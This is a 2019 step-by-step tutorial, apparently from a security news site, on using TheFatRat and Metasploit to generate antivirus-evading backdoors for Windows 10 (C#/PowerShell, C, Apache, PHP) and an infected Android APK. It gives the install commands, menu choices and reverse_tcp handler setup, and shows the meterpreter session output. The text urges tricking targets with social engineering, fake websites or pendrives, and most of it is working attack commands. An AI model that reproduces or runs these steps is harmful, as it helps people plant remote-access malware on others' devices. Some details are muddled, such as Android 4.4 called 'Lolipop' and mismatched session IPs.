Hack Windows, Android, Mac using TheFatRat (Step by Step tutorial)

Thu, 31 Jan 2019 05:01:21 +0000

Using Metasploit is not an difficult thing anymore. Because there are many resources that are available over the internet. Which tells usage of metasploit. Metasploit are the common ways of attacking any outdated operating system. Still there are many operating system which can be exploit remotely. And there are many anti-viruses which cannot detect these exploits, say ethical hacking professionals. We are talking about TheFatRat.

According to ethical hacking researcher of International Institute of Cyber Security did a detailed analysis on the working of TheFatRat to check on the insides of pentesting tool.

TheFatRat is an another metasploit like tool which is used to generate backdoor easily. This tool is used to compile some of the malware with some popular payloads which then can be used to attack operating systems like Windows, MAC, Linux. This tool gives many options like creating backdoors, infected dlls, as per ethical hacking investigation..

The whole tool has been tested on Parrot OS. And after creating backdoors. These backdoors has been opened on Windows 10 Build 1607 and android.

For cloning type https://github.com/Screetsec/TheFatRat.git
Then type cd TheFatRat
Type chmod u+x setup.sh
Type ./setup.sh
If mono does not install type sudo apt-get update and sudo apt-get install mono-mcs or type sudo apt-get install mono-devel or type sudo apt-get install mono-complete
As some of the dependencies related to mono does no install directly. so simply run above commands.
In installation phase it will ask to create shortcut in parrot OS. Simply type y after installation you can run fatrat just like you run msfconsole.
After then type fatrat

As you can TheFatRat gives tons of options to create session in target windows or other platforms.

Creating An Simple Exploit To Hack Windows 10 :-

Type 6 will create fud backdoor using pwnwinds.

Then type 2 which will create fud backdoor using c# + powershell.

Enter LHOST listener/attacker IP address. Type 192.168.1.12
Type port 4444 or any port number.
Enter backdoor file name tstfile

Type 3 for using windows/meterpreter/reverse_tcp.

Press enter for creating backdoor.

After backdoor is creating it will save in /home/user/Downloads/TheFatRat/output/tstfile.exe
For accessing backdoor go to above location.

Open another terminal and start msfconsole. Msfconsole wiil be used to handle ongoing session.
Type msfconsole
After msfconsole has started type use exploit/multi/handler
Then type set payload windows/meterpreter/reverse_tcp
Type LHOST 192.168.1.12
Type LPORT 4444
Type exploit

msf5 > use exploit/multi/handler
 msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp
 msf5 exploit(multi/handler) > set LHOST 192.168.1.12
 LHOST => 192.168.1.12
 msf5 exploit(multi/handler) > set LPORT 4444
 LPORT => 4444
 msf5 exploit(multi/handler) > exploit

Now for opening backdoor in Windows 10. Simply copy from here and paste to pendrive and open pendrive in Windows 10. You can also use any social engineering technique (like by Fake any website in seconds) to pass this exe to TARGET computer.
You have to copy two files tstfile.exe and program.cs. As this backdoor has created using C#
And then double click on tstfile.exe

As target click on the file a popup will came out and then meterpreter session will be opened.

As shown below meterpreter session has started in msfconsole.

msf5 exploit(multi/handler) > exploit
 [] Started reverse TCP handler on 192.168.1.12:4444 [] Sending stage (179779 bytes) to 192.168.1.5
 [*] Meterpreter session 1 opened (192.168.1.12:4444 -> 192.168.1.5:61050) at 2019-01-30 12:24:04 +0000
 meterpreter > sysinfo
 Computer        : DESKTOP-2304ULE
 OS              : Windows 10 (Build 16299).
 Architecture    : x64
 System Language : en_US
 Domain          : WORKGROUP
 Logged On Users : 2
 Meterpreter     : x86/windows
 meterpreter >

The above target is using Widnows 10. As session has created attacker can perform various tasks.

Creating Backdoor easily with another option (with C code):-

Type 6

Type 6

Type 6

Enter LHOST listener/attacker IP address. Type 192.168.1.12
Type port 4444 or any port number.
Enter backdoor file name tstfile
Press enter to create backdoor.
Open another terminal and start msfconsole. Msfconsole wiil be used to handle ongoing session.
Type msfconsole
After msfconsole has started type use exploit/multi/handler
Then type set payload windows/meterpreter/reverse_tcp
Type LHOST 192.168.1.12
Type LPORT 4444
Type exploit

msf5 > use exploit/multi/handler
 msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp
 msf5 exploit(multi/handler) > set LHOST 192.168.1.12
 LHOST => 192.168.1.12
 msf5 exploit(multi/handler) > set LPORT 4444
 LPORT => 4444
 msf5 exploit(multi/handler) > exploit

As target open malicious file (tstfile.exe) in windows 10. A meterpreter session will start.

[] Started reverse TCP handler on 192.168.1.12:4444 [] Sending stage (179779 bytes) to 192.168.1.5
 [*] Meterpreter session 2 opened (192.168.1.12:4444 -> 192.168.1.5:61331) at 2019-01-30 15:19:28 +0000
 meterpreter >

As you can see meterpreter session has start in attacker machine. Now attacker can easily manipulate target.

Creating Backdoor Using Apache + Powershell :-

Type 6

Type 3

Enter LHOST listener/attacker IP address. Type 192.168.1.12
Type port 4444 or any port number.
Enter backdoor file name tstfile1

Type 3
Press enter to create backdoor.

Open above created backdoor in Windows 10. Or trick your target to open above file in their pc.
Open another terminal and start msfconsole. Msfconsole wiil be used to handle ongoing session.
Type msfconsole
After msfconsole has started type use exploit/multi/handler
Then type set payload windows/meterpreter/reverse_tcp
Type LHOST 192.168.1.12
Type LPORT 4444
Type exploit
As target opens backdoor (tstfile1.exe) a new session will be created in windows

 [] Sending stage (179779 bytes) to 192.168.1.5 [] Meterpreter session 3 opened (192.168.1.12:4444 -> 192.168.1.5:61336) at 2019-01-30 15:20:01 +0000
meterpreter >

The difference between backdoors are that 1st backdoor uses c# + powershell where you files to the target. And second backdoor where you have to simply choose the options to create backdoor. As another backdoor requires to set payload. And the third where the backdoor uses a webserver apache to create backdoor. The third backdoor makes a strong backdoor for attackers. The session does not get expired easily. As the above two expires session suddenly while testing, according to ethical hacking courses.

Inject Using PHP:-

Here we will create backdoor using php. Type 1

Then type 5
Type LHOST 192.168.1.7
Then type port 80
Enter file name tstfile

As shown in the above image. This backdoor is using windows payload for creating an session.
After payload has created. Move payload to apache server location. As this payload will be opened using Ip address.
Type cp tstfile.php /var/www/html
Then type sudo serivce apache2 start
Then go to target windows browser and type 192.168.1.7/tstfile.php

As target open above URL. A php script will start in background and session will start as shown below.

 
[*] Meterpreter session 1 opened (192.168.1.12:80 -> 192.168.1.5:61331) at 2019-01-30 17:45:28 +0000 
Id                       Information                   Connection 
 ------                   ------------                 -----------
 1 meterpreter php/linux www-data (33) @apache2  192.168.1.7:80 -> 192.178.1.5:61331
 
msf exploit(handler) > session -i 1
 meterpreter > sysinfo
 Computer        : DESKTOP-2304ULE
 OS              : Windows 10 (Build 16299).
 Architecture    : x64
 System Language : en_US
 Domain          : WORKGROUP
 Logged On Users : 2
 Meterpreter     : x86/windows
 meterpreter >

After opening just a URL. Target can easily got hacked.

Attacking An Android Device :-

Type 1

Type 192.168.1.7
Type 4444
Then backdoor
Type 3

Press enter to create backdoor.
This is create a infected .apk file

We will open backdoor in android mobile. Here we have use Android 4.4 Lolipop.
Create an multi handler inside msfconsole.
Type use exploit/multi/handler
Type set payload android/meterpreter/reverse_tcp
Type set 192.168.1.7
Type set 4444
Type exploit

msf5 > use exploit/multi/handler
 msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
 payload => android/meterpreter/reverse_tcp
 msf5 exploit(multi/handler) > set LHOST 192.168.1.7
 LHOST => 192.168.1.7
 msf5 exploit(multi/handler) > set LPORT 4444
 LPORT => 4444
 msf5 exploit(multi/handler) > exploit

Install the above backdoor.apk

As backdoor.apk is opened in android a new session will be created in msfconsole. As per digital forensic expert from International Institute of Cyber Security users should be cautious while downloading any new Android app, as it can be android trojan.

[] Started reverse TCP handler on 192.168.1.7:4444 [] Sending stage (70554 bytes) to 192.168.1.12
 [*] Meterpreter session 1 opened (192.168.1.7:4444 -> 192.168.1.12:58445) at 2019-01-31 02:04:20 +0000
 meterpreter > help
 Core Commands
 Command                   Description -------                   ----------- ?                         Help menu background                Backgrounds the current session bg                        Alias for background bgkill                    Kills a background meterpreter script bglist                    Lists running background scripts bgrun                     Executes a meterpreter script as a background thread channel                   Displays information or control active channels close                     Closes a channel disable_unicode_encoding  Disables encoding of unicode strings enable_unicode_encoding   Enables encoding of unicode strings exit                      Terminate the meterpreter session get_timeouts              Get the current session timeout values guid                      Get the session GUID help                      Help menu info                      Displays information about a Post module irb                       Open an interactive Ruby shell on the current session load                      Load one or more meterpreter extensions machine_id                Get the MSF ID of the machine attached to the session pry                       Open the Pry debugger on the current session quit                      Terminate the meterpreter session read                      Reads data from a channel resource                  Run the commands stored in a file run                       Executes a meterpreter script or Post module sessions                  Quickly switch to another session set_timeouts              Set the current session timeout values sleep                     Force Meterpreter to go quiet, then re-establish session. transport                 Change the current transport mechanism use                       Deprecated alias for "load" uuid                      Get the UUID for the current session write                     Writes data to a channel

Type sysinfo

meterpreter > sysinfo
 Computer    : localhost
 OS          : Android 4.4.2 - Linux 3.10.52-android-x86+ (i686)
 Meterpreter : dalvik/android
 meterpreter >

As the attacker can take advantage of target android device.

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